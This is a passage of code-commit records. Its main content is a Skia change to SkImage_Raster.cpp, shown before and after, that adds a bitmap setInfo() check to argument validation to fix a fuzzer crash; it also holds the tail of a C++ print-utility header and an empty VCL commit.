reserve(a_size);\n            memcpy(m_pos, a_str, a_size);\n            m_pos += a_size;\n        }\n\n        int vprintf(const char* a_fmt, va_list a_args) {\n            int n = vsnprintf(m_pos, capacity(), a_fmt, a_args);\n            if (n < 0)\n                return n;\n            if (size_t(n) > capacity()) {\n                reserve(n);\n                n = vsnprintf(m_pos, capacity(), a_fmt, a_args);\n            }\n            m_pos += n;\n            return n;\n        }\n\n        int printf(const char* a_fmt, ...) {\n            va_list args; va_start(args, a_fmt);\n            UTXX_SCOPE_EXIT([&args]() { va_end(args); });\n            return this->vprintf(a_fmt, args);\n        }\n\n        template <typename T>\n        basic_buffered_print<N>& operator<< (T&& a) {\n            print(std::forward<T>(a));\n            return *this;\n        }\n    };\n}\n\n\/\/\/ Analogous to sprintf, but returns an std::string instead\ntemplate <int SizeHint = 256>\nstd::string print_string(const char* fmt, ...) {\n    va_list args; va_start(args, fmt);\n    UTXX_SCOPE_EXIT([&args]() { va_end(args); });\n\n    std::string buf;\n    buf.resize(SizeHint);\n    int n = vsnprintf(const_cast<char*>(buf.c_str()), buf.capacity(), fmt, args);\n\n    if (unlikely(n < 0))\n        throw io_error(errno, \"print_string(): error formatting arguments\");\n\n    buf.resize(n);\n\n    if (unlikely(n > SizeHint)) \/\/ String didn't fit - redo\n        vsnprintf(const_cast<char*>(buf.c_str()), buf.capacity(), fmt, args);\n    return buf;\n}\n\n\/\/\/ Print arguments to string.\n\/\/\/ This function is a faster alternative to printf and std::stringstream.\ntemplate <class... Args>\nstd::string print(Args&&... args) {\n    detail::basic_buffered_print<> b;\n    b.print(std::forward<Args>(args)...);\n    return b.to_string();\n}\n\nusing buffered_print = detail::basic_buffered_print<>;\n\n} \/\/ namespace utxx\n\n#endif \/\/_UTXX_PRINT_HPP_\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>remove virtual qualifier from a bunch of VCL ListBox methods<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"include\/core\/SkBitmap.h\"\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkData.h\"\n#include \"include\/core\/SkPixelRef.h\"\n#include \"include\/core\/SkSurface.h\"\n#include \"include\/private\/SkImageInfoPriv.h\"\n#include \"src\/codec\/SkColorTable.h\"\n#include \"src\/core\/SkCompressedDataUtils.h\"\n#include \"src\/core\/SkConvertPixels.h\"\n#include \"src\/core\/SkImagePriv.h\"\n#include \"src\/core\/SkTLazy.h\"\n#include \"src\/image\/SkImage_Base.h\"\n#include \"src\/shaders\/SkBitmapProcShader.h\"\n\n#if SK_SUPPORT_GPU\n#include \"include\/gpu\/GrContext.h\"\n#include \"src\/gpu\/GrTextureAdjuster.h\"\n#include \"src\/gpu\/SkGr.h\"\n#endif\n\n\/\/ fixes https:\/\/bug.skia.org\/5096\nstatic bool is_not_subset(const SkBitmap& bm) {\n    SkASSERT(bm.pixelRef());\n    SkISize dim = SkISize::Make(bm.pixelRef()->width(), bm.pixelRef()->height());\n    SkASSERT(dim != bm.dimensions() || bm.pixelRefOrigin().isZero());\n    return dim == bm.dimensions();\n}\n\nclass SkImage_Raster : public SkImage_Base {\npublic:\n    static bool ValidArgs(const SkImageInfo& info, size_t rowBytes, size_t* minSize) {\n        const int maxDimension = SK_MaxS32 >> 2;\n\n        if (info.width() <= 0 || info.height() <= 0) {\n            return false;\n        }\n        if (info.width() > maxDimension || info.height() > maxDimension) {\n            return false;\n        }\n        if ((unsigned)info.colorType() > (unsigned)kLastEnum_SkColorType) {\n            return false;\n        }\n        if ((unsigned)info.alphaType() > (unsigned)kLastEnum_SkAlphaType) {\n            return false;\n        }\n\n        if (kUnknown_SkColorType == info.colorType()) {\n            return false;\n        }\n        if (!info.validRowBytes(rowBytes)) {\n            return false;\n        }\n\n        size_t size = info.computeByteSize(rowBytes);\n        if (SkImageInfo::ByteSizeOverflowed(size)) {\n            return false;\n        }\n\n        if (minSize) {\n            *minSize = size;\n        }\n        return true;\n    }\n\n    SkImage_Raster(const SkImageInfo&, sk_sp<SkData>, size_t rb,\n                   uint32_t id = kNeedNewImageUniqueID);\n    ~SkImage_Raster() override;\n\n    bool onReadPixels(const SkImageInfo&, void*, size_t, int srcX, int srcY,\n                      CachingHint) const override;\n    bool onPeekPixels(SkPixmap*) const override;\n    const SkBitmap* onPeekBitmap() const override { return &fBitmap; }\n\n#if SK_SUPPORT_GPU\n    GrSurfaceProxyView refView(GrRecordingContext*, GrSamplerState,\n                               SkScalar scaleAdjust[2]) const override;\n#endif\n\n    bool getROPixels(SkBitmap*, CachingHint) const override;\n    sk_sp<SkImage> onMakeSubset(GrRecordingContext*, const SkIRect&) const override;\n\n    SkPixelRef* getPixelRef() const { return fBitmap.pixelRef(); }\n\n    bool onAsLegacyBitmap(SkBitmap*) const override;\n\n    SkImage_Raster(const SkBitmap& bm, bool bitmapMayBeMutable = false)\n            : INHERITED(bm.info(),\n                        is_not_subset(bm) ? bm.getGenerationID() : (uint32_t)kNeedNewImageUniqueID)\n            , fBitmap(bm) {\n        SkASSERT(bitmapMayBeMutable || fBitmap.isImmutable());\n    }\n\n    sk_sp<SkImage> onMakeColorTypeAndColorSpace(GrRecordingContext*,\n                                                SkColorType, sk_sp<SkColorSpace>) const override;\n\n    sk_sp<SkImage> onReinterpretColorSpace(sk_sp<SkColorSpace>) const override;\n\n    bool onIsValid(GrContext* context) const override { return true; }\n    void notifyAddedToRasterCache() const override {\n        \/\/ We explicitly DON'T want to call INHERITED::notifyAddedToRasterCache. That ties the\n        \/\/ lifetime of derived\/cached resources to the image. In this case, we only want cached\n        \/\/ data (eg mips) tied to the lifetime of the underlying pixelRef.\n        SkASSERT(fBitmap.pixelRef());\n        fBitmap.pixelRef()->notifyAddedToCache();\n    }\n\n#if SK_SUPPORT_GPU\n    GrSurfaceProxyView refPinnedView(GrRecordingContext* context,\n                                     uint32_t* uniqueID) const override;\n    bool onPinAsTexture(GrContext*) const override;\n    void onUnpinAsTexture(GrContext*) const override;\n#endif\n\nprivate:\n    SkBitmap fBitmap;\n\n#if SK_SUPPORT_GPU\n    mutable GrSurfaceProxyView fPinnedView;\n    mutable int32_t fPinnedCount = 0;\n    mutable uint32_t fPinnedUniqueID = 0;\n#endif\n\n    typedef SkImage_Base INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void release_data(void* addr, void* context) {\n    SkData* data = static_cast<SkData*>(context);\n    data->unref();\n}\n\nSkImage_Raster::SkImage_Raster(const SkImageInfo& info, sk_sp<SkData> data, size_t rowBytes,\n                               uint32_t id)\n        : INHERITED(info, id) {\n    void* addr = const_cast<void*>(data->data());\n\n    fBitmap.installPixels(info, addr, rowBytes, release_data, data.release());\n    fBitmap.setImmutable();\n}\n\nSkImage_Raster::~SkImage_Raster() {\n#if SK_SUPPORT_GPU\n    SkASSERT(!fPinnedView);  \/\/ want the caller to have manually unpinned\n#endif\n}\n\nbool SkImage_Raster::onReadPixels(const SkImageInfo& dstInfo, void* dstPixels, size_t dstRowBytes,\n                                  int srcX, int srcY, CachingHint) const {\n    SkBitmap shallowCopy(fBitmap);\n    return shallowCopy.readPixels(dstInfo, dstPixels, dstRowBytes, srcX, srcY);\n}\n\nbool SkImage_Raster::onPeekPixels(SkPixmap* pm) const {\n    return fBitmap.peekPixels(pm);\n}\n\nbool SkImage_Raster::getROPixels(SkBitmap* dst, CachingHint) const {\n    *dst = fBitmap;\n    return true;\n}\n\n#if SK_SUPPORT_GPU\nGrSurfaceProxyView SkImage_Raster::refView(GrRecordingContext* context, GrSamplerState params,\n                                           SkScalar scaleAdjust[2]) const {\n    if (!context) {\n        return {};\n    }\n\n    uint32_t uniqueID;\n    if (GrSurfaceProxyView view = this->refPinnedView(context, &uniqueID)) {\n        GrTextureAdjuster adjuster(context, std::move(view), fBitmap.info().colorInfo(),\n                                   fPinnedUniqueID);\n        return adjuster.viewForParams(params, scaleAdjust);\n    }\n\n    return GrRefCachedBitmapView(context, fBitmap, params, scaleAdjust);\n}\n#endif\n\n#if SK_SUPPORT_GPU\n\nGrSurfaceProxyView SkImage_Raster::refPinnedView(GrRecordingContext*, uint32_t* uniqueID) const {\n    if (fPinnedView) {\n        SkASSERT(fPinnedCount > 0);\n        SkASSERT(fPinnedUniqueID != 0);\n        *uniqueID = fPinnedUniqueID;\n        return fPinnedView;\n    }\n    return {};\n}\n\nbool SkImage_Raster::onPinAsTexture(GrContext* ctx) const {\n    if (fPinnedView) {\n        SkASSERT(fPinnedCount > 0);\n        SkASSERT(fPinnedUniqueID != 0);\n    } else {\n        SkASSERT(fPinnedCount == 0);\n        SkASSERT(fPinnedUniqueID == 0);\n        fPinnedView =\n                GrRefCachedBitmapView(ctx, fBitmap, GrSamplerState::Filter::kNearest, nullptr);\n        if (!fPinnedView) {\n            return false;\n        }\n        SkASSERT(fPinnedView.asTextureProxy());\n        fPinnedUniqueID = fBitmap.getGenerationID();\n    }\n    \/\/ Note: we only increment if the texture was successfully pinned\n    ++fPinnedCount;\n    return true;\n}\n\nvoid SkImage_Raster::onUnpinAsTexture(GrContext* ctx) const {\n    \/\/ Note: we always decrement, even if fPinnedTexture is null\n    SkASSERT(fPinnedCount > 0);\n    SkASSERT(fPinnedUniqueID != 0);\n\n    if (0 == --fPinnedCount) {\n        fPinnedView = GrSurfaceProxyView();\n        fPinnedUniqueID = 0;\n    }\n}\n#endif\n\nsk_sp<SkImage> SkImage_Raster::onMakeSubset(GrRecordingContext*, const SkIRect& subset) const {\n    SkImageInfo info = fBitmap.info().makeDimensions(subset.size());\n    SkBitmap bitmap;\n    if (!bitmap.tryAllocPixels(info)) {\n        return nullptr;\n    }\n\n    void* dst = bitmap.getPixels();\n    void* src = fBitmap.getAddr(subset.x(), subset.y());\n    if (!dst || !src) {\n        SkDEBUGFAIL(\"SkImage_Raster::onMakeSubset with nullptr src or dst\");\n        return nullptr;\n    }\n\n    SkRectMemcpy(dst, bitmap.rowBytes(), src, fBitmap.rowBytes(), bitmap.rowBytes(),\n                 subset.height());\n\n    bitmap.setImmutable();\n    return MakeFromBitmap(bitmap);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nsk_sp<SkImage> MakeRasterCopyPriv(const SkPixmap& pmap, uint32_t id) {\n    size_t size;\n    if (!SkImage_Raster::ValidArgs(pmap.info(), pmap.rowBytes(), &size) || !pmap.addr()) {\n        return nullptr;\n    }\n\n    \/\/ Here we actually make a copy of the caller's pixel data\n    sk_sp<SkData> data(SkData::MakeWithCopy(pmap.addr(), size));\n    return sk_make_sp<SkImage_Raster>(pmap.info(), std::move(data), pmap.rowBytes(), id);\n}\n\nsk_sp<SkImage> SkImage::MakeRasterCopy(const SkPixmap& pmap) {\n    return MakeRasterCopyPriv(pmap, kNeedNewImageUniqueID);\n}\n\nsk_sp<SkImage> SkImage::MakeRasterData(const SkImageInfo& info, sk_sp<SkData> data,\n                                       size_t rowBytes) {\n    size_t size;\n    if (!SkImage_Raster::ValidArgs(info, rowBytes, &size) || !data) {\n        return nullptr;\n    }\n\n    \/\/ did they give us enough data?\n    if (data->size() < size) {\n        return nullptr;\n    }\n\n    return sk_make_sp<SkImage_Raster>(info, std::move(data), rowBytes);\n}\n\n\/\/ TODO: this could be improved to decode and make use of the mipmap\n\/\/ levels potentially present in the compressed data. For now, any\n\/\/ mipmap levels are discarded.\nsk_sp<SkImage> SkImage::MakeRasterFromCompressed(sk_sp<SkData> data,\n                                                 int width, int height,\n                                                 CompressionType type) {\n    size_t expectedSize = SkCompressedFormatDataSize(type, { width, height }, false);\n    if (!data || data->size() < expectedSize) {\n        return nullptr;\n    }\n\n    SkAlphaType at = SkCompressionTypeIsOpaque(type) ? kOpaque_SkAlphaType\n                                                     : kPremul_SkAlphaType;\n\n    SkImageInfo ii = SkImageInfo::MakeN32(width, height, at);\n\n    if (!SkImage_Raster::ValidArgs(ii, ii.minRowBytes(), nullptr)) {\n        return nullptr;\n    }\n\n    SkBitmap bitmap;\n    if (!bitmap.tryAllocPixels(ii)) {\n        return nullptr;\n    }\n\n    if (!SkDecompress(std::move(data), { width, height }, type, &bitmap)) {\n        return nullptr;\n    }\n\n    bitmap.setImmutable();\n    return MakeFromBitmap(bitmap);\n}\n\nsk_sp<SkImage> SkImage::MakeFromRaster(const SkPixmap& pmap, RasterReleaseProc proc,\n                                       ReleaseContext ctx) {\n    size_t size;\n    if (!SkImage_Raster::ValidArgs(pmap.info(), pmap.rowBytes(), &size) || !pmap.addr()) {\n        return nullptr;\n    }\n\n    sk_sp<SkData> data(SkData::MakeWithProc(pmap.addr(), size, proc, ctx));\n    return sk_make_sp<SkImage_Raster>(pmap.info(), std::move(data), pmap.rowBytes());\n}\n\nsk_sp<SkImage> SkMakeImageFromRasterBitmapPriv(const SkBitmap& bm, SkCopyPixelsMode cpm,\n                                               uint32_t idForCopy) {\n    if (kAlways_SkCopyPixelsMode == cpm || (!bm.isImmutable() && kNever_SkCopyPixelsMode != cpm)) {\n        SkPixmap pmap;\n        if (bm.peekPixels(&pmap)) {\n            return MakeRasterCopyPriv(pmap, idForCopy);\n        } else {\n            return sk_sp<SkImage>();\n        }\n    }\n\n    return sk_make_sp<SkImage_Raster>(bm, kNever_SkCopyPixelsMode == cpm);\n}\n\nsk_sp<SkImage> SkMakeImageFromRasterBitmap(const SkBitmap& bm, SkCopyPixelsMode cpm) {\n    if (!SkImageInfoIsValid(bm.info()) || bm.rowBytes() < bm.info().minRowBytes()) {\n        return nullptr;\n    }\n\n    return SkMakeImageFromRasterBitmapPriv(bm, cpm, kNeedNewImageUniqueID);\n}\n\nconst SkPixelRef* SkBitmapImageGetPixelRef(const SkImage* image) {\n    return ((const SkImage_Raster*)image)->getPixelRef();\n}\n\nbool SkImage_Raster::onAsLegacyBitmap(SkBitmap* bitmap) const {\n    \/\/ When we're a snapshot from a surface, our bitmap may not be marked immutable\n    \/\/ even though logically always we are, but in that case we can't physically share our\n    \/\/ pixelref since the caller might call setImmutable() themselves\n    \/\/ (thus changing our state).\n    if (fBitmap.isImmutable()) {\n        SkIPoint origin = fBitmap.pixelRefOrigin();\n        bitmap->setInfo(fBitmap.info(), fBitmap.rowBytes());\n        bitmap->setPixelRef(sk_ref_sp(fBitmap.pixelRef()), origin.x(), origin.y());\n        return true;\n    }\n    return this->INHERITED::onAsLegacyBitmap(bitmap);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nsk_sp<SkImage> SkImage_Raster::onMakeColorTypeAndColorSpace(GrRecordingContext*,\n                                                            SkColorType targetCT,\n                                                            sk_sp<SkColorSpace> targetCS) const {\n    SkPixmap src;\n    SkAssertResult(fBitmap.peekPixels(&src));\n\n    SkBitmap dst;\n    dst.allocPixels(fBitmap.info().makeColorType(targetCT).makeColorSpace(targetCS));\n\n    SkAssertResult(dst.writePixels(src));\n    dst.setImmutable();\n    return SkImage::MakeFromBitmap(dst);\n}\n\nsk_sp<SkImage> SkImage_Raster::onReinterpretColorSpace(sk_sp<SkColorSpace> newCS) const {\n    \/\/ TODO: If our bitmap is immutable, then we could theoretically create another image sharing\n    \/\/ our pixelRef. That doesn't work (without more invasive logic), because the image gets its\n    \/\/ gen ID from the bitmap, which gets it from the pixelRef.\n    SkPixmap pixmap = fBitmap.pixmap();\n    pixmap.setColorSpace(std::move(newCS));\n    return SkImage::MakeRasterCopy(pixmap);\n}\n<commit_msg>images: Fix fuzzer crash for creating raster SkImage with invalid data.<commit_after>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"include\/core\/SkBitmap.h\"\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkData.h\"\n#include \"include\/core\/SkPixelRef.h\"\n#include \"include\/core\/SkSurface.h\"\n#include \"include\/private\/SkImageInfoPriv.h\"\n#include \"src\/codec\/SkColorTable.h\"\n#include \"src\/core\/SkCompressedDataUtils.h\"\n#include \"src\/core\/SkConvertPixels.h\"\n#include \"src\/core\/SkImagePriv.h\"\n#include \"src\/core\/SkTLazy.h\"\n#include \"src\/image\/SkImage_Base.h\"\n#include \"src\/shaders\/SkBitmapProcShader.h\"\n\n#if SK_SUPPORT_GPU\n#include \"include\/gpu\/GrContext.h\"\n#include \"src\/gpu\/GrTextureAdjuster.h\"\n#include \"src\/gpu\/SkGr.h\"\n#endif\n\n\/\/ fixes https:\/\/bug.skia.org\/5096\nstatic bool is_not_subset(const SkBitmap& bm) {\n    SkASSERT(bm.pixelRef());\n    SkISize dim = SkISize::Make(bm.pixelRef()->width(), bm.pixelRef()->height());\n    SkASSERT(dim != bm.dimensions() || bm.pixelRefOrigin().isZero());\n    return dim == bm.dimensions();\n}\n\nclass SkImage_Raster : public SkImage_Base {\npublic:\n    static bool ValidArgs(const SkImageInfo& info, size_t rowBytes, size_t* minSize) {\n        const int maxDimension = SK_MaxS32 >> 2;\n\n        \/\/ TODO(mtklein): eliminate anything here that setInfo() has already checked.\n        SkBitmap dummy;\n        if (!dummy.setInfo(info, rowBytes)) {\n            return false;\n        }\n\n        if (info.width() <= 0 || info.height() <= 0) {\n            return false;\n        }\n        if (info.width() > maxDimension || info.height() > maxDimension) {\n            return false;\n        }\n        if ((unsigned)info.colorType() > (unsigned)kLastEnum_SkColorType) {\n            return false;\n        }\n        if ((unsigned)info.alphaType() > (unsigned)kLastEnum_SkAlphaType) {\n            return false;\n        }\n\n        if (kUnknown_SkColorType == info.colorType()) {\n            return false;\n        }\n        if (!info.validRowBytes(rowBytes)) {\n            return false;\n        }\n\n        size_t size = info.computeByteSize(rowBytes);\n        if (SkImageInfo::ByteSizeOverflowed(size)) {\n            return false;\n        }\n\n        if (minSize) {\n            *minSize = size;\n        }\n        return true;\n    }\n\n    SkImage_Raster(const SkImageInfo&, sk_sp<SkData>, size_t rb,\n                   uint32_t id = kNeedNewImageUniqueID);\n    ~SkImage_Raster() override;\n\n    bool onReadPixels(const SkImageInfo&, void*, size_t, int srcX, int srcY,\n                      CachingHint) const override;\n    bool onPeekPixels(SkPixmap*) const override;\n    const SkBitmap* onPeekBitmap() const override { return &fBitmap; }\n\n#if SK_SUPPORT_GPU\n    GrSurfaceProxyView refView(GrRecordingContext*, GrSamplerState,\n                               SkScalar scaleAdjust[2]) const override;\n#endif\n\n    bool getROPixels(SkBitmap*, CachingHint) const override;\n    sk_sp<SkImage> onMakeSubset(GrRecordingContext*, const SkIRect&) const override;\n\n    SkPixelRef* getPixelRef() const { return fBitmap.pixelRef(); }\n\n    bool onAsLegacyBitmap(SkBitmap*) const override;\n\n    SkImage_Raster(const SkBitmap& bm, bool bitmapMayBeMutable = false)\n            : INHERITED(bm.info(),\n                        is_not_subset(bm) ? bm.getGenerationID() : (uint32_t)kNeedNewImageUniqueID)\n            , fBitmap(bm) {\n        SkASSERT(bitmapMayBeMutable || fBitmap.isImmutable());\n    }\n\n    sk_sp<SkImage> onMakeColorTypeAndColorSpace(GrRecordingContext*,\n                                                SkColorType, sk_sp<SkColorSpace>) const override;\n\n    sk_sp<SkImage> onReinterpretColorSpace(sk_sp<SkColorSpace>) const override;\n\n    bool onIsValid(GrContext* context) const override { return true; }\n    void notifyAddedToRasterCache() const override {\n        \/\/ We explicitly DON'T want to call INHERITED::notifyAddedToRasterCache. That ties the\n        \/\/ lifetime of derived\/cached resources to the image. In this case, we only want cached\n        \/\/ data (eg mips) tied to the lifetime of the underlying pixelRef.\n        SkASSERT(fBitmap.pixelRef());\n        fBitmap.pixelRef()->notifyAddedToCache();\n    }\n\n#if SK_SUPPORT_GPU\n    GrSurfaceProxyView refPinnedView(GrRecordingContext* context,\n                                     uint32_t* uniqueID) const override;\n    bool onPinAsTexture(GrContext*) const override;\n    void onUnpinAsTexture(GrContext*) const override;\n#endif\n\nprivate:\n    SkBitmap fBitmap;\n\n#if SK_SUPPORT_GPU\n    mutable GrSurfaceProxyView fPinnedView;\n    mutable int32_t fPinnedCount = 0;\n    mutable uint32_t fPinnedUniqueID = 0;\n#endif\n\n    typedef SkImage_Base INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void release_data(void* addr, void* context) {\n    SkData* data = static_cast<SkData*>(context);\n    data->unref();\n}\n\nSkImage_Raster::SkImage_Raster(const SkImageInfo& info, sk_sp<SkData> data, size_t rowBytes,\n                               uint32_t id)\n        : INHERITED(info, id) {\n    void* addr = const_cast<void*>(data->data());\n\n    fBitmap.installPixels(info, addr, rowBytes, release_data, data.release());\n    fBitmap.setImmutable();\n}\n\nSkImage_Raster::~SkImage_Raster() {\n#if SK_SUPPORT_GPU\n    SkASSERT(!fPinnedView);  \/\/ want the caller to have manually unpinned\n#endif\n}\n\nbool SkImage_Raster::onReadPixels(const SkImageInfo& dstInfo, void* dstPixels, size_t dstRowBytes,\n                                  int srcX, int srcY, CachingHint) const {\n    SkBitmap shallowCopy(fBitmap);\n    return shallowCopy.readPixels(dstInfo, dstPixels, dstRowBytes, srcX, srcY);\n}\n\nbool SkImage_Raster::onPeekPixels(SkPixmap* pm) const {\n    return fBitmap.peekPixels(pm);\n}\n\nbool SkImage_Raster::getROPixels(SkBitmap* dst, CachingHint) const {\n    *dst = fBitmap;\n    return true;\n}\n\n#if SK_SUPPORT_GPU\nGrSurfaceProxyView SkImage_Raster::refView(GrRecordingContext* context, GrSamplerState params,\n                                           SkScalar scaleAdjust[2]) const {\n    if (!context) {\n        return {};\n    }\n\n    uint32_t uniqueID;\n    if (GrSurfaceProxyView view = this->refPinnedView(context, &uniqueID)) {\n        GrTextureAdjuster adjuster(context, std::move(view), fBitmap.info().colorInfo(),\n                                   fPinnedUniqueID);\n        return adjuster.viewForParams(params, scaleAdjust);\n    }\n\n    return GrRefCachedBitmapView(context, fBitmap, params, scaleAdjust);\n}\n#endif\n\n#if SK_SUPPORT_GPU\n\nGrSurfaceProxyView SkImage_Raster::refPinnedView(GrRecordingContext*, uint32_t* uniqueID) const {\n    if (fPinnedView) {\n        SkASSERT(fPinnedCount > 0);\n        SkASSERT(fPinnedUniqueID != 0);\n        *uniqueID = fPinnedUniqueID;\n        return fPinnedView;\n    }\n    return {};\n}\n\nbool SkImage_Raster::onPinAsTexture(GrContext* ctx) const {\n    if (fPinnedView) {\n        SkASSERT(fPinnedCount > 0);\n        SkASSERT(fPinnedUniqueID != 0);\n    } else {\n        SkASSERT(fPinnedCount == 0);\n        SkASSERT(fPinnedUniqueID == 0);\n        fPinnedView =\n                GrRefCachedBitmapView(ctx, fBitmap, GrSamplerState::Filter::kNearest, nullptr);\n        if (!fPinnedView) {\n            return false;\n        }\n        SkASSERT(fPinnedView.asTextureProxy());\n        fPinnedUniqueID = fBitmap.getGenerationID();\n    }\n    \/\/ Note: we only increment if the texture was successfully pinned\n    ++fPinnedCount;\n    return true;\n}\n\nvoid SkImage_Raster::onUnpinAsTexture(GrContext* ctx) const {\n    \/\/ Note: we always decrement, even if fPinnedTexture is null\n    SkASSERT(fPinnedCount > 0);\n    SkASSERT(fPinnedUniqueID != 0);\n\n    if (0 == --fPinnedCount) {\n        fPinnedView = GrSurfaceProxyView();\n        fPinnedUniqueID = 0;\n    }\n}\n#endif\n\nsk_sp<SkImage> SkImage_Raster::onMakeSubset(GrRecordingContext*, const SkIRect& subset) const {\n    SkImageInfo info = fBitmap.info().makeDimensions(subset.size());\n    SkBitmap bitmap;\n    if (!bitmap.tryAllocPixels(info)) {\n        return nullptr;\n    }\n\n    void* dst = bitmap.getPixels();\n    void* src = fBitmap.getAddr(subset.x(), subset.y());\n    if (!dst || !src) {\n        SkDEBUGFAIL(\"SkImage_Raster::onMakeSubset with nullptr src or dst\");\n        return nullptr;\n    }\n\n    SkRectMemcpy(dst, bitmap.rowBytes(), src, fBitmap.rowBytes(), bitmap.rowBytes(),\n                 subset.height());\n\n    bitmap.setImmutable();\n    return MakeFromBitmap(bitmap);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nsk_sp<SkImage> MakeRasterCopyPriv(const SkPixmap& pmap, uint32_t id) {\n    size_t size;\n    if (!SkImage_Raster::ValidArgs(pmap.info(), pmap.rowBytes(), &size) || !pmap.addr()) {\n        return nullptr;\n    }\n\n    \/\/ Here we actually make a copy of the caller's pixel data\n    sk_sp<SkData> data(SkData::MakeWithCopy(pmap.addr(), size));\n    return sk_make_sp<SkImage_Raster>(pmap.info(), std::move(data), pmap.rowBytes(), id);\n}\n\nsk_sp<SkImage> SkImage::MakeRasterCopy(const SkPixmap& pmap) {\n    return MakeRasterCopyPriv(pmap, kNeedNewImageUniqueID);\n}\n\nsk_sp<SkImage> SkImage::MakeRasterData(const SkImageInfo& info, sk_sp<SkData> data,\n                                       size_t rowBytes) {\n    size_t size;\n    if (!SkImage_Raster::ValidArgs(info, rowBytes, &size) || !data) {\n        return nullptr;\n    }\n\n    \/\/ did they give us enough data?\n    if (data->size() < size) {\n        return nullptr;\n    }\n\n    return sk_make_sp<SkImage_Raster>(info, std::move(data), rowBytes);\n}\n\n\/\/ TODO: this could be improved to decode and make use of the mipmap\n\/\/ levels potentially present in the compressed data. For now, any\n\/\/ mipmap levels are discarded.\nsk_sp<SkImage> SkImage::MakeRasterFromCompressed(sk_sp<SkData> data,\n                                                 int width, int height,\n                                                 CompressionType type) {\n    size_t expectedSize = SkCompressedFormatDataSize(type, { width, height }, false);\n    if (!data || data->size() < expectedSize) {\n        return nullptr;\n    }\n\n    SkAlphaType at = SkCompressionTypeIsOpaque(type) ? kOpaque_SkAlphaType\n                                                     : kPremul_SkAlphaType;\n\n    SkImageInfo ii = SkImageInfo::MakeN32(width, height, at);\n\n    if (!SkImage_Raster::ValidArgs(ii, ii.minRowBytes(), nullptr)) {\n        return nullptr;\n    }\n\n    SkBitmap bitmap;\n    if (!bitmap.tryAllocPixels(ii)) {\n        return nullptr;\n    }\n\n    if (!SkDecompress(std::move(data), { width, height }, type, &bitmap)) {\n        return nullptr;\n    }\n\n    bitmap.setImmutable();\n    return MakeFromBitmap(bitmap);\n}\n\nsk_sp<SkImage> SkImage::MakeFromRaster(const SkPixmap& pmap, RasterReleaseProc proc,\n                                       ReleaseContext ctx) {\n    size_t size;\n    if (!SkImage_Raster::ValidArgs(pmap.info(), pmap.rowBytes(), &size) || !pmap.addr()) {\n        return nullptr;\n    }\n\n    sk_sp<SkData> data(SkData::MakeWithProc(pmap.addr(), size, proc, ctx));\n    return sk_make_sp<SkImage_Raster>(pmap.info(), std::move(data), pmap.rowBytes());\n}\n\nsk_sp<SkImage> SkMakeImageFromRasterBitmapPriv(const SkBitmap& bm, SkCopyPixelsMode cpm,\n                                               uint32_t idForCopy) {\n    if (kAlways_SkCopyPixelsMode == cpm || (!bm.isImmutable() && kNever_SkCopyPixelsMode != cpm)) {\n        SkPixmap pmap;\n        if (bm.peekPixels(&pmap)) {\n            return MakeRasterCopyPriv(pmap, idForCopy);\n        } else {\n            return sk_sp<SkImage>();\n        }\n    }\n\n    return sk_make_sp<SkImage_Raster>(bm, kNever_SkCopyPixelsMode == cpm);\n}\n\nsk_sp<SkImage> SkMakeImageFromRasterBitmap(const SkBitmap& bm, SkCopyPixelsMode cpm) {\n    if (!SkImageInfoIsValid(bm.info()) || bm.rowBytes() < bm.info().minRowBytes()) {\n        return nullptr;\n    }\n\n    return SkMakeImageFromRasterBitmapPriv(bm, cpm, kNeedNewImageUniqueID);\n}\n\nconst SkPixelRef* SkBitmapImageGetPixelRef(const SkImage* image) {\n    return ((const SkImage_Raster*)image)->getPixelRef();\n}\n\nbool SkImage_Raster::onAsLegacyBitmap(SkBitmap* bitmap) const {\n    \/\/ When we're a snapshot from a surface, our bitmap may not be marked immutable\n    \/\/ even though logically always we are, but in that case we can't physically share our\n    \/\/ pixelref since the caller might call setImmutable() themselves\n    \/\/ (thus changing our state).\n    if (fBitmap.isImmutable()) {\n        SkIPoint origin = fBitmap.pixelRefOrigin();\n        bitmap->setInfo(fBitmap.info(), fBitmap.rowBytes());\n        bitmap->setPixelRef(sk_ref_sp(fBitmap.pixelRef()), origin.x(), origin.y());\n        return true;\n    }\n    return 